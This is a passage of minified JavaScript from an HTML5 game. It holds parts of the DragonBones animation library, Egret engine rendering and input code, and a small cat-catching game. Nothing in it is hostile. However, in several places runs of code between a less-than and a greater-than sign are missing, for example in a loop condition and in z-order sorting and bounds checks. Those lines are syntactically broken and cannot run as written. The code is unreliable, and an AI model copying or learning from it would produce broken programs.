Error();if(0>this._armatureDataList.indexOf(a))this._armatureDataList[this._armatureDataList.length]=a;else throw Error();};a.prototype.removeArmatureData=function(a){a=this._armatureDataList.indexOf(a);0<=a&&this._armatureDataList.splice(a,1)};a.prototype.removeArmatureDataByName=function(a){for(var b=this._armatureDataList.length;b--;)this._armatureDataList[b].name==a&&this._armatureDataList.splice(b, 1)};a.prototype.getSubTexturePivot=function(a){return this._subTexturePivots[a]};a.prototype.addSubTexturePivot=function(a,b,c){var d=this._subTexturePivots[c];d?(d.x=a,d.y=b):this._subTexturePivots[c]=d=new e.Point(a,b);return d};a.prototype.removeSubTexturePivot=function(a){if(a)delete this._subTexturePivots[a];else for(a in this._subTexturePivots)delete this._subTexturePivots[a]};return a}();a.SkeletonData=u;f=function(){function a(){}a.parseTextureAtlasData=function(a,b){"undefined"===typeof b&& (b=1);if(!a)throw Error();var c={};c.__name=a[h.ConstValues.A_NAME];var d=a[h.ConstValues.SUB_TEXTURE],f;for(f in d){var k=d[f],m=k[h.ConstValues.A_NAME],k=new e.Rectangle(Number(k[h.ConstValues.A_X])/b,Number(k[h.ConstValues.A_Y])/b,Number(k[h.ConstValues.A_WIDTH])/b,Number(k[h.ConstValues.A_HEIGHT])/b);c[m]=k}return c};a.parseSkeletonData=function(b){if(!b)throw Error();var c=Number(b[h.ConstValues.A_FRAME_RATE]),d=new u;d.name=b[h.ConstValues.A_NAME];b=b[h.ConstValues.ARMATURE];for(var e in b)d.addArmatureData(a.parseArmatureData(b[e], d,c));return d};a.parseArmatureData=function(b,c,d){var e=new t;e.name=b[h.ConstValues.A_NAME];var f=b[h.ConstValues.BONE],k;for(k in f)e.addBoneData(a.parseBoneData(f[k]));f=b[h.ConstValues.SKIN];for(k in f)e.addSkinData(a.parseSkinData(f[k],c));h.DBDataUtil.transformArmatureData(e);e.sortBoneDataList();b=b[h.ConstValues.ANIMATION];for(k in b)e.addAnimationData(a.parseAnimationData(b[k],e,d));return e};a.parseBoneData=function(b){var c=new B;c.name=b[h.ConstValues.A_NAME];c.parent=b[h.ConstValues.A_PARENT]; c.length=Number(b[h.ConstValues.A_LENGTH])||0;var d=Number(b[h.ConstValues.A_SCALE_MODE]);!isNaN(d)&&d&&(c.scaleMode=d);if(d=b[h.ConstValues.A_FIXED_ROTATION])c.fixedRotation=d;a.parseTransform(b[h.ConstValues.TRANSFORM],c.global);c.transform.copy(c.global);return c};a.parseSkinData=function(b,c){var d=new C;d.name=b[h.ConstValues.A_NAME];var e=b[h.ConstValues.SLOT],f;for(f in e)d.addSlotData(a.parseSlotData(e[f],c));return d};a.parseSlotData=function(b,c){var d=new v;d.name=b[h.ConstValues.A_NAME]; d.parent=b[h.ConstValues.A_PARENT];d.zOrder=Number(b[h.ConstValues.A_Z_ORDER]);d.blendMode=b[h.ConstValues.A_BLENDMODE];d.blendMode||(d.blendMode="normal");var e=b[h.ConstValues.DISPLAY],f;for(f in e)d.addDisplayData(a.parseDisplayData(e[f],c));return d};a.parseDisplayData=function(b,c){var d=new g;d.name=b[h.ConstValues.A_NAME];d.type=b[h.ConstValues.A_TYPE];d.pivot=c.addSubTexturePivot(0,0,d.name);a.parseTransform(b[h.ConstValues.TRANSFORM],d.transform,d.pivot);return d};a.parseAnimationData=function(b, c,d){var e=new m;e.name=b[h.ConstValues.A_NAME];e.frameRate=d;e.loop=Number(b[h.ConstValues.A_LOOP])||0;e.fadeInTime=Number(b[h.ConstValues.A_FADE_IN_TIME]);e.duration=Number(b[h.ConstValues.A_DURATION])/d;e.scale=Number(b[h.ConstValues.A_SCALE]);if(b.hasOwnProperty(h.ConstValues.A_TWEEN_EASING)){var f=b[h.ConstValues.A_TWEEN_EASING];e.tweenEasing=void 0==f||null==f?NaN:Number(f)}else e.tweenEasing=NaN;a.parseTimeline(b,e,a.parseMainFrame,d);var k,f=b[h.ConstValues.TIMELINE],l;for(l in f)k=f[l],b= a.parseTransformTimeline(k,e.duration,d),k=k[h.ConstValues.A_NAME],e.addTimeline(b,k);h.DBDataUtil.addHideTimeline(e,c);h.DBDataUtil.transformAnimationData(e,c);return e};a.parseTimeline=function(a,b,c,d){var e=0,f;a=a[h.ConstValues.FRAME];for(var k in a)f=c(a[k],d),f.position=e,b.addFrame(f),e+=f.duration;f&&(f.duration=b.duration-f.position)};a.parseTransformTimeline=function(b,c,d){var e=new k;e.duration=c;a.parseTimeline(b,e,a.parseTransformFrame,d);e.scale=Number(b[h.ConstValues.A_SCALE]);e.offset= Number(b[h.ConstValues.A_OFFSET]);return e};a.parseFrame=function(a,b,c){b.duration=Number(a[h.ConstValues.A_DURATION])/c;b.action=a[h.ConstValues.A_ACTION];b.event=a[h.ConstValues.A_EVENT];b.sound=a[h.ConstValues.A_SOUND]};a.parseMainFrame=function(b,d){var e=new c;a.parseFrame(b,e,d);return e};a.parseTransformFrame=function(b,c){var f=new d;a.parseFrame(b,f,c);f.visible=1!=Number(b[h.ConstValues.A_HIDE]);if(b.hasOwnProperty(h.ConstValues.A_TWEEN_EASING)){var k=b[h.ConstValues.A_TWEEN_EASING];f.tweenEasing= void 0==k||null==k?NaN:Number(k)}else f.tweenEasing=0;f.tweenRotate=Number(b[h.ConstValues.A_TWEEN_ROTATE])||0;f.displayIndex=Number(b[h.ConstValues.A_DISPLAY_INDEX])||0;f.zOrder=Number(b[h.ConstValues.A_Z_ORDER])||0;a.parseTransform(b[h.ConstValues.TRANSFORM],f.global,f.pivot);f.transform.copy(f.global);if(k=b[h.ConstValues.COLOR_TRANSFORM])f.color=new e.ColorTransform,f.color.alphaOffset=Number(k[h.ConstValues.A_ALPHA_OFFSET]),f.color.redOffset=Number(k[h.ConstValues.A_RED_OFFSET]),f.color.greenOffset= Number(k[h.ConstValues.A_GREEN_OFFSET]),f.color.blueOffset=Number(k[h.ConstValues.A_BLUE_OFFSET]),f.color.alphaMultiplier=0.01*Number(k[h.ConstValues.A_ALPHA_MULTIPLIER]),f.color.redMultiplier=0.01*Number(k[h.ConstValues.A_RED_MULTIPLIER]),f.color.greenMultiplier=0.01*Number(k[h.ConstValues.A_GREEN_MULTIPLIER]),f.color.blueMultiplier=0.01*Number(k[h.ConstValues.A_BLUE_MULTIPLIER]);return f};a.parseTransform=function(a,b,c){"undefined"===typeof c&&(c=null);a&&(b&&(b.x=Number(a[h.ConstValues.A_X]), b.y=Number(a[h.ConstValues.A_Y]),b.skewX=Number(a[h.ConstValues.A_SKEW_X])*h.ConstValues.ANGLE_TO_RADIAN,b.skewY=Number(a[h.ConstValues.A_SKEW_Y])*h.ConstValues.ANGLE_TO_RADIAN,b.scaleX=Number(a[h.ConstValues.A_SCALE_X]),b.scaleY=Number(a[h.ConstValues.A_SCALE_Y])),c&&(c.x=Number(a[h.ConstValues.A_PIVOT_X]),c.y=Number(a[h.ConstValues.A_PIVOT_Y])))};return a}();a.DataParser=f})(c.objects||(c.objects={}));var b=c.objects;(function(a){var c=function(a){function c(){a.call(this);this._dataDic={};this._textureAtlasDic= {};this._textureAtlasLoadingDic={}}__extends(c,a);c.prototype.getSkeletonData=function(a){return this._dataDic[a]};c.prototype.addSkeletonData=function(a,b){"undefined"===typeof b&&(b=null);if(!a)throw Error();b=b||a.name;if(!b)throw Error("Unnamed data!");this._dataDic[b]=a};c.prototype.removeSkeletonData=function(a){delete this._dataDic[a]};c.prototype.getTextureAtlas=function(a){return this._textureAtlasDic[a]};c.prototype.addTextureAtlas=function(a,b){"undefined"===typeof b&&(b=null);if(!a)throw Error(); b=b||a.name;if(!b)throw Error("Unnamed data!");this._textureAtlasDic[b]=a};c.prototype.removeTextureAtlas=function(a){delete this._textureAtlasDic[a]};c.prototype.dispose=function(a){"undefined"===typeof a&&(a=!0);if(a){for(var b in this._dataDic)this._dataDic[b].dispose();for(b in this._textureAtlasDic)this._textureAtlasDic[b].dispose()}this._currentTextureAtlasName=this._currentDataName=this._textureAtlasLoadingDic=this._textureAtlasDic=this._dataDic=null};c.prototype.buildArmature=function(a,c, d,e,h){if(d){var k=this._dataDic[d];if(k)var m=k.getArmatureData(a)}else for(d in this._dataDic)if(k=this._dataDic[d],m=k.getArmatureData(a))break;if(!m)return null;this._currentDataName=d;this._currentTextureAtlasName=e||d;e=this._generateArmature();e.name=a;var l,g,p=m.getBoneDataList(),q;for(q in p)g=p[q],l=new f,l.name=g.name,l.fixedRotation=g.fixedRotation,l.scaleMode=g.scaleMode,l.origin.copy(g.transform),m.getBoneData(g.parent)?e.addChild(l,g.parent):e.addChild(l,null);if(c&&c!=a){var n=k.getArmatureData(c); if(!n)for(d in this._dataDic)if(k=this._dataDic[d],n=k.getArmatureData(c))break}n?e.animation.setAnimationDataList(n.getAnimationDataList()):e.animation.setAnimationDataList(m.getAnimationDataList());l=m.getSkinData(h);if(!l)throw Error();a=[];d=l.getSlotDataList();for(q in d)if(k=d[q],l=e.getBone(k.parent)){h=k.getDisplayDataList();c=this._generateSlot();c.name=k.name;c._blendMode=k.blendMode;c._originZOrder=k.zOrder;c._dislayDataList=h;a.length=0;for(k=h.length;k--;)switch(m=h[k],m.type){case b.DisplayData.ARMATURE:(m= this.buildArmature(m.name,null,this._currentDataName,this._currentTextureAtlasName,null))&&(a[k]=m);break;default:a[k]=this._generateDisplay(this._textureAtlasDic[this._currentTextureAtlasName],m.name,m.pivot.x,m.pivot.y)}c.setDisplayList(a);c._changeDisplay(0);l.addChild(c)}e._slotsZOrderChanged=!0;e.advanceTime(0);return e};c.prototype.getTextureDisplay=function(a,b,c,d){if(b)var e=this._textureAtlasDic[b];if(!e&&!b)for(b in this._textureAtlasDic){e=this._textureAtlasDic[b];if(e.getRegion(a))break; e=null}if(e){if(isNaN(c)||isNaN(d))if(b=this._dataDic[b])if(b=b.getSubTexturePivot(a))c=b.x,d=b.y;return this._generateDisplay(e,a,c,d)}return null};c.prototype._generateArmature=function(){return null};c.prototype._generateSlot=function(){return null};c.prototype._generateDisplay=function(a,b,c,d){return null};return c}(d.EventDispatcher);a.BaseFactory=c})(c.factorys||(c.factorys={}));(function(c){var d=function(){function a(){}a.ANGLE_TO_RADIAN=Math.PI/180;a.DRAGON_BONES="dragonBones";a.ARMATURE= "armature";a.SKIN="skin";a.BONE="bone";a.SLOT="slot";a.DISPLAY="display";a.ANIMATION="animation";a.TIMELINE="timeline";a.FRAME="frame";a.TRANSFORM="transform";a.COLOR_TRANSFORM="colorTransform";a.TEXTURE_ATLAS="TextureAtlas";a.SUB_TEXTURE="SubTexture";a.A_VERSION="version";a.A_IMAGE_PATH="imagePath";a.A_FRAME_RATE="frameRate";a.A_NAME="name";a.A_PARENT="parent";a.A_LENGTH="length";a.A_TYPE="type";a.A_FADE_IN_TIME="fadeInTime";a.A_DURATION="duration";a.A_SCALE="scale";a.A_OFFSET="offset";a.A_LOOP= "loop";a.A_EVENT="event";a.A_SOUND="sound";a.A_ACTION="action";a.A_HIDE="hide";a.A_TWEEN_EASING="tweenEasing";a.A_TWEEN_ROTATE="tweenRotate";a.A_DISPLAY_INDEX="displayIndex";a.A_Z_ORDER="z";a.A_BLENDMODE="blendMode";a.A_WIDTH="width";a.A_HEIGHT="height";a.A_SCALE_MODE="scaleMode";a.A_FIXED_ROTATION="fixedRotation";a.A_X="x";a.A_Y="y";a.A_SKEW_X="skX";a.A_SKEW_Y="skY";a.A_SCALE_X="scX";a.A_SCALE_Y="scY";a.A_PIVOT_X="pX";a.A_PIVOT_Y="pY";a.A_ALPHA_OFFSET="aO";a.A_RED_OFFSET="rO";a.A_GREEN_OFFSET="gO"; a.A_BLUE_OFFSET="bO";a.A_ALPHA_MULTIPLIER="aM";a.A_RED_MULTIPLIER="rM";a.A_GREEN_MULTIPLIER="gM";a.A_BLUE_MULTIPLIER="bM";return a}();c.ConstValues=d;var h=function(){function a(){}a.transformPointWithParent=function(b,c){var d=a._helpMatrix;a.transformToMatrix(c,d);d.invert();var e=b.x,h=b.y;b.x=d.a*e+d.c*h+d.tx;b.y=d.d*h+d.b*e+d.ty;b.skewX=a.formatRadian(b.skewX-c.skewX);b.skewY=a.formatRadian(b.skewY-c.skewY)};a.transformToMatrix=function(a,b){b.a=a.scaleX*Math.cos(a.skewY);b.b=a.scaleX*Math.sin(a.skewY); b.c=-a.scaleY*Math.sin(a.skewX);b.d=a.scaleY*Math.cos(a.skewX);b.tx=a.x;b.ty=a.y};a.formatRadian=function(b){b%=a.DOUBLE_PI;b>Math.PI&&(b-=a.DOUBLE_PI);b<-Math.PI&&(b+=a.DOUBLE_PI);return b};a.DOUBLE_PI=2*Math.PI;a._helpMatrix=new e.Matrix;return a}();c.TransformUtil=h;d=function(){function c(){}c.transformArmatureData=function(a){for(var b=a.getBoneDataList(),c=b.length,d,e;c--;)if(d=b[c],d.parent&&(e=a.getBoneData(d.parent)))d.transform.copy(d.global),h.transformPointWithParent(d.transform,e.global)}; c.transformArmatureDataAnimations=function(a){for(var b=a.getAnimationDataList(),d=b.length;d--;)c.transformAnimationData(b[d],a)};c.transformAnimationData=function(a,b){for(var d=b.getSkinData(null),e=b.getBoneDataList(),d=d.getSlotDataList(),f=e.length,k,m,l,g,n,w,E,x,y,H;f--;)if(k=e[f],m=a.getTimeline(k.name)){l=null;for(var L in d)if(l=d[L],l.parent==k.name)break;g=k.parent?a.getTimeline(k.parent):null;n=m.getFrameList();x=E=w=null;H=n.length;for(var G=0;GM&&(y.transform.skewX+=2*Math.PI,y.transform.skewY+=2*Math.PI),1x.tweenRotate&&(y.transform.skewX+=2*Math.PI*(x.tweenRotate+1),y.transform.skewY+=2*Math.PI*(x.tweenRotate+1))):(y.transform.skewX=x.transform.skewX+h.formatRadian(y.transform.skewX-x.transform.skewX),y.transform.skewY=x.transform.skewY+h.formatRadian(y.transform.skewY-x.transform.skewY))}x=y}m.transformed=!0}};c.getTimelineTransform= function(b,c,d){for(var e=b.getFrameList(),f=e.length,k;f--;)if(b=e[f],b.position<=c&&b.position+b.duration>c){k=b.tweenEasing;f==e.length-1||isNaN(k)||c==b.position?d.copy(b.global):(c=(c-b.position)/b.duration,k&&(c=a.TimelineState.getEaseValue(c,k)),e=e[f+1],d.x=b.global.x+(e.global.x-b.global.x)*c,d.y=b.global.y+(e.global.y-b.global.y)*c,d.skewX=h.formatRadian(b.global.skewX+(e.global.skewX-b.global.skewX)*c),d.skewY=h.formatRadian(b.global.skewY+(e.global.skewY-b.global.skewY)*c),d.scaleX=b.global.scaleX+ (e.global.scaleX-b.global.scaleX)*c,d.scaleY=b.global.scaleY+(e.global.scaleY-b.global.scaleY)*c);break}};c.addHideTimeline=function(a,c){for(var d=c.getBoneDataList(),e=d.length,h;e--;)h=d[e],h=h.name,a.getTimeline(h)||a.addTimeline(b.TransformTimeline.HIDE_TIMELINE,h)};c._helpTransform1=new b.DBTransform;c._helpTransform2=new b.DBTransform;return c}();c.DBDataUtil=d})(c.utils||(c.utils={}));var h=c.utils,m=function(){function a(){this.global=new b.DBTransform;this.origin=new b.DBTransform;this.offset= new b.DBTransform;this.tween=new b.DBTransform;this.tween.scaleX=this.tween.scaleY=0;this._globalTransformMatrix=new e.Matrix;this._visible=!0;this._isDisplayOnStage=this._isColorChanged=!1;this._scaleType=0;this.fixedRotation=!1}a.prototype.getVisible=function(){return this._visible};a.prototype.setVisible=function(a){this._visible=a};a.prototype._setParent=function(a){this.parent=a};a.prototype._setArmature=function(a){this.armature&&this.armature._removeDBObject(this);(this.armature=a)&&this.armature._addDBObject(this)}; a.prototype.dispose=function(){this._globalTransformMatrix=this.tween=this.offset=this.origin=this.global=this.armature=this.parent=null};a.prototype._update=function(){this.global.scaleX=(this.origin.scaleX+this.tween.scaleX)*this.offset.scaleX;this.global.scaleY=(this.origin.scaleY+this.tween.scaleY)*this.offset.scaleY;if(this.parent){var a=this.origin.x+this.offset.x+this.tween.x,b=this.origin.y+this.offset.y+this.tween.y,c=this.parent._globalTransformMatrix;this._globalTransformMatrix.tx=this.global.x= c.a*a+c.c*b+c.tx;this._globalTransformMatrix.ty=this.global.y=c.d*b+c.b*a+c.ty;this.fixedRotation?(this.global.skewX=this.origin.skewX+this.offset.skewX+this.tween.skewX,this.global.skewY=this.origin.skewY+this.offset.skewY+this.tween.skewY):(this.global.skewX=this.origin.skewX+this.offset.skewX+this.tween.skewX+this.parent.global.skewX,this.global.skewY=this.origin.skewY+this.offset.skewY+this.tween.skewY+this.parent.global.skewY);this.parent.scaleMode>=this._scaleType&&(this.global.scaleX*=this.parent.global.scaleX, this.global.scaleY*=this.parent.global.scaleY)}else this._globalTransformMatrix.tx=this.global.x=this.origin.x+this.offset.x+this.tween.x,this._globalTransformMatrix.ty=this.global.y=this.origin.y+this.offset.y+this.tween.y,this.global.skewX=this.origin.skewX+this.offset.skewX+this.tween.skewX,this.global.skewY=this.origin.skewY+this.offset.skewY+this.tween.skewY;this._globalTransformMatrix.a=this.global.scaleX*Math.cos(this.global.skewY);this._globalTransformMatrix.b=this.global.scaleX*Math.sin(this.global.skewY); this._globalTransformMatrix.c=-this.global.scaleY*Math.sin(this.global.skewX);this._globalTransformMatrix.d=this.global.scaleY*Math.cos(this.global.skewX)};return a}();c.DBObject=m;var k=function(a){function b(c){a.call(this);this._displayBridge=c;this._displayList=[];this._displayIndex=-1;this._scaleType=1;this._offsetZOrder=this._tweenZorder=this._originZOrder=0;this._isHideDisplay=this._isDisplayOnStage=!1;this._blendMode="normal";this._displayBridge.updateBlendMode(this._blendMode)}__extends(b, a);b.prototype.getZOrder=function(){return this._originZOrder+this._tweenZorder+this._offsetZOrder};b.prototype.setZOrder=function(a){this.getZOrder()!=a&&(this._offsetZOrder=a-this._originZOrder-this._tweenZorder,this.armature&&(this.armature._slotsZOrderChanged=!0))};b.prototype.getDisplay=function(){var a=this._displayList[this._displayIndex];return a instanceof g?a.getDisplay():a};b.prototype.setDisplay=function(a){this._displayList[this._displayIndex]=a;this._setDisplay(a)};b.prototype.getBlendMode= function(){return this._blendMode};b.prototype.setBlendMode=function(a){this._blendMode!=a&&(this._blendMode=a,this._displayBridge.getDisplay()&&this._displayBridge.updateBlendMode(this._blendMode))};b.prototype.getChildArmature=function(){var a=this._displayList[this._displayIndex];return a instanceof g?a:null};b.prototype.setChildArmature=function(a){(this._displayList[this._displayIndex]=a)&&this._setDisplay(a.getDisplay())};b.prototype.getDisplayList=function(){return this._displayList};b.prototype.setDisplayList= function(a){if(!a)throw Error();for(var b=this._displayList.length=a.length;b--;)this._displayList[b]=a[b];0<=this._displayIndex&&(a=this._displayIndex,this._displayIndex=-1,this._changeDisplay(a))};b.prototype._setDisplay=function(a){this._displayBridge.getDisplay()?this._displayBridge.setDisplay(a):(this._displayBridge.setDisplay(a),this.armature&&(this._displayBridge.addDisplay(this.armature.getDisplay(),-1),this.armature._slotsZOrderChanged=!0));this.updateChildArmatureAnimation();a&&this._displayBridge.updateBlendMode(this._blendMode); !this._isHideDisplay&&this._displayBridge.getDisplay()?this._isDisplayOnStage=!0:this._isDisplayOnStage=!1};b.prototype._changeDisplay=function(a){if(0>a)this._isHideDisplay||(this._isHideDisplay=!0,this._displayBridge.removeDisplay(),this.updateChildArmatureAnimation());else{if(this._isHideDisplay){this._isHideDisplay=!1;var b=!0;this.armature&&(this._displayBridge.addDisplay(this.armature.getDisplay(),-1),this.armature._slotsZOrderChanged=!0)}var c=this._displayList.length;a>=c&&0this._slotList.indexOf(a)&&(this._slotList[this._slotList.length]=a):a instanceof f&&0>this._boneList.indexOf(a)&&(this._boneList[this._boneList.length]=a,this._sortBoneList())};c.prototype._removeDBObject=function(a){a instanceof k?(a=this._slotList.indexOf(a), 0<=a&&this._slotList.splice(a,1)):a instanceof f&&(a=this._boneList.indexOf(a),0<=a&&this._boneList.splice(a,1))};c.prototype._sortBoneList=function(){var a=this._boneList.length;if(0!=a){for(var b=[],c,d,e;a--;){c=0;for(e=d=this._boneList[a];e;)c++,e=e.parent;b[a]={level:c,bone:d}}b.sort(this.sortBone);for(a=b.length;a--;)this._boneList[a]=b[a].bone}};c.prototype._arriveAtFrame=function(a,b,e,h){a.event&&this.hasEventListener(d.FrameEvent.ANIMATION_FRAME_EVENT)&&(b=new d.FrameEvent(d.FrameEvent.ANIMATION_FRAME_EVENT), b.animationState=e,b.frameLabel=a.event,this._eventList.push(b));a.sound&&c._soundManager.hasEventListener(d.SoundEvent.SOUND)&&(b=new d.SoundEvent(d.SoundEvent.SOUND),b.armature=this,b.animationState=e,b.sound=a.sound,c._soundManager.dispatchEvent(b));a.action&&e.isPlaying&&this.animation.gotoAndPlay(a.action)};c.prototype.sortSlot=function(a,b){return a.getZOrder()b?a.addChild(this._display):a.addChildAt(this._display,Math.min(b,a.numChildren)))};a.prototype.removeDisplay=function(){this._display&&this._display._parent&&this._display._parent.removeChild(this._display)};a.RADIAN_TO_ANGLE=180/Math.PI;return a}();c.DragonBonesEgretBridge=a})(c.display||(c.display={}));var e=c.display;(function(d){var a=function(){function a(b,d,e){"undefined"===typeof e&&(e=1);this.texture=b;this.textureAtlasRawData= d;this._textureData={};this.scale=e;this.name=d[c.utils.ConstValues.A_NAME];this.parseData(d);this.spriteSheet=new egret.SpriteSheet(b)}a.prototype.getTexture=function(a){var b=this.spriteSheet.getTexture(a);b||(b=this._textureData[a],b=this.spriteSheet.createTexture(a,b.x,b.y,b.width,b.height));return b};a.prototype.dispose=function(){this.texture=null};a.prototype.getRegion=function(a){throw Error("error");};a.prototype.parseData=function(a){for(var b=a.SubTexture.length,c=0;c=c&&(this.queueIndex=0);d=this.itemListDic[a[this.queueIndex]];if(0>16)+","+((c&65280)>>8)+","+(c&255)+","+a+")";this.fillStyleColor=b;this.commandQueue.push(new e(this._setStyle,this,[b]))};c.drawRect=function(c,a,b,h){this.commandQueue.push(new e(function(a,b,c,d){var e=this.renderContext;this.canvasContext.beginPath();this.canvasContext.rect(e._transformTx+a,e._transformTy+b,c,d);this.canvasContext.closePath()},this,[c,a,b,h]));this._fill()};c.drawCircle=function(c,a,b){this.commandQueue.push(new e(function(a, b,c){var d=this.renderContext;this.canvasContext.beginPath();this.canvasContext.arc(d._transformTx+a,d._transformTy+b,c,0,2*Math.PI);this.canvasContext.closePath()},this,[c,a,b]));this._fill()};c.lineStyle=function(c,a,b,h,m,k,f,g){"undefined"===typeof c&&(c=NaN);"undefined"===typeof a&&(a=0);"undefined"===typeof b&&(b=1);"undefined"===typeof h&&(h=!1);"undefined"===typeof m&&(m="normal");"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=null);"undefined"===typeof g&&(g=3);this.strokeStyleColor&& (this.createEndLineCommand(),this.commandQueue.push(this.endLineCommand));this.strokeStyleColor=a="rgba("+(a>>16)+","+((a&65280)>>8)+","+(a&255)+","+b+")";this.commandQueue.push(new e(function(a,b){this.canvasContext.lineWidth=a;this.canvasContext.strokeStyle=b;this.canvasContext.beginPath()},this,[c,a]));"undefined"===typeof this.lineX&&(this.lineY=this.lineX=0);this.moveTo(this.lineX,this.lineY)};c.lineTo=function(c,a){this.commandQueue.push(new e(function(a,c){var d=this.renderContext;this.canvasContext.lineTo(d._transformTx+ a,d._transformTy+c)},this,[c,a]));this.lineX=c;this.lineY=a};c.curveTo=function(c,a,b,h){this.commandQueue.push(new e(function(a,b,c,d){var e=this.renderContext;this.canvasContext.quadraticCurveTo(e._transformTx+a,e._transformTy+b,c,d)},this,[c,a,b,h]));this.lineX=b;this.lineY=h};c.moveTo=function(c,a){this.commandQueue.push(new e(function(a,c){var d=this.renderContext;this.canvasContext.moveTo(d._transformTx+a,d._transformTy+c)},this,[c,a]))};c.clear=function(){this.lineY=this.lineX=this.commandQueue.length= 0;this.fillStyleColor=this.strokeStyleColor=null};c.createEndFillCommand=function(){this.endFillCommand||(this.endFillCommand=new e(function(){this.canvasContext.fill()},this,null))};c.endFill=function(){this.fillStyleColor=null};c._fill=function(){this.fillStyleColor&&(this.createEndFillCommand(),this.commandQueue.push(this.endFillCommand))};c.createEndLineCommand=function(){this.endLineCommand||(this.endLineCommand=new e(function(){this.canvasContext.stroke();this.canvasContext.closePath()},this, null))};c._draw=function(c){this.renderContext=c;c=this.canvasContext=this.renderContext.canvasContext;c.save();var a=this.commandQueue.length;this.strokeStyleColor&&0a.x||0>a.y||a.x>this.canvas.width||a.y>this.canvas.height?!0:!1};a.prototype.dispatchLeaveStageEvent=function(){c.MainContext.instance.stage.dispatchEventWith(c.Event.LEAVE_STAGE)}; a.prototype._onTouchBegin=function(a){var c=this.getLocation(this.canvas,a),d=-1;a.hasOwnProperty("identifier")&&(d=a.identifier);this.onTouchBegan(c.x,c.y,d)};a.prototype._onTouchMove=function(a){var c=this.getLocation(this.canvas,a),d=-1;a.hasOwnProperty("identifier")&&(d=a.identifier);this.onTouchMove(c.x,c.y,d)};a.prototype._onTouchEnd=function(a){var c=this.getLocation(this.canvas,a),d=-1;a.hasOwnProperty("identifier")&&(d=a.identifier);this.onTouchEnd(c.x,c.y,d)};a.prototype.getLocation=function(a, d){var e=document.documentElement,k=window,f,g;"function"===typeof a.getBoundingClientRect?(g=a.getBoundingClientRect(),f=g.left,g=g.top):g=f=0;f+=k.pageXOffset-e.clientLeft;g+=k.pageYOffset-e.clientTop;null!=d.pageX?(e=d.pageX,k=d.pageY):(f-=document.body.scrollLeft,g-=document.body.scrollTop,e=d.clientX,k=d.clientY);var l=c.Point.identity;l.x=(e-f)/c.StageDelegate.getInstance().getScaleX();l.y=(k-g)/c.StageDelegate.getInstance().getScaleY();return l};return a}(c.TouchContext);c.HTML5TouchContext= e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._isSupportDOMParser=this._xmlDict=this._parser=null;this._xmlDict={};window.DOMParser?(this._isSupportDOMParser=!0,this._parser=new DOMParser):this._isSupportDOMParser=!1}__extends(a,d);a.getInstance=function(){a._instance||(a._instance=new a);return a._instance};a.prototype.parserXML=function(a){for(var d=0;"\n"==a.charAt(d)||"\t"==a.charAt(d)||"\r"==a.charAt(d)||" "==a.charAt(d);)d++;0!=d&&(a=a.substring(d,a.length));this._isSupportDOMParser? d=this._parser.parseFromString(a,"text/xml"):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(a));null==d&&c.Logger.info("xml not found!");return d};a._instance=null;return a}(c.HashObject);c.SAXParser=e})(egret||(egret={}));var __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d},catgame; (function(c){var e=function(c){function a(a,e){var m=RES.getRes("pot1");this.posx=a;this.posy=e;c.call(this,m);this.anchorX=this.anchorY=0.5;this.fill=!1}__extends(a,c);a.prototype.getY=function(){return this.posy};a.prototype.doFillPot=function(){this.texture=RES.getRes("pot2");this.fill=!0};a.prototype.clean=function(){this.prenode=null};a.prototype.getPos=function(){return[this.posx,this.posy]};a.prototype.isFill=function(){return this.fill};return a}(egret.Bitmap);c.Node=e})(catgame||(catgame= {}));(function(c){var e=function(){function c(){}c.hitTest=function(a,b){var c=a.getBounds(),d=b.getBounds();c.x=a.x;c.y=a.y;d.x=b.x;d.y=b.y;return c.intersects(d)};return c}();c.GameUtil=e;c.createBitmapByName=function(c){var a=new egret.Bitmap;c=RES.getRes(c);a.texture=c;return a}})(catgame||(catgame={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this);this.isWeizhu=!1;var a=RES.getRes("stay1_json"),e=RES.getRes("stay1_png");this.standmc=new egret.MovieClip(a,e);this.standmc.setInterval(3);this.standmc.gotoAndPlay("stay1");a=RES.getRes("weizhu1_json");e=RES.getRes("weizhu1_png");this.weizhumc=new egret.MovieClip(a,e);this.weizhumc.setInterval(3);this.weizhumc.gotoAndPlay("weizhu1");this.anchorX=0.5;this.anchorY=1;this.stay()}__extends(a,c);a.prototype.init=function(){this.isWeizhu=!1;this.stay()}; a.prototype.run=function(a){this.x=a[0];this.y=a[1];this.dispatchEventWith("catRun")};a.prototype.stay=function(){this.numChildren&&this.removeChildAt(0);this.isWeizhu?this.addChild(this.weizhumc):this.addChild(this.standmc)};a.prototype.weizhu=function(){this.isWeizhu=!0;this.stay()};a.prototype.successShow=function(){};a.prototype.failShow=function(){};return a}(egret.Sprite);c.Cat2=e})(catgame||(catgame={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this);var a=this.createBitmapByName("failed_bg");this.tap_textfeild=new egret.TextField;this.tap_textfeild.width=400;this.tap_textfeild.textColor=16711680;this.tap_textfeild.textAlign=egret.HorizontalAlign.CENTER;this.tap_textfeild.text="\u4f60\u6ca1\u6709\u6293\u4f4f\u795e\uff01\u7ecf\uff01\u732b\uff01\uff01";this.tap_textfeild.size=22;this.tap_textfeild.x=20;this.tap_textfeild.y=190;this.rank_textfeild=new egret.TextField;this.rank_textfeild.width= 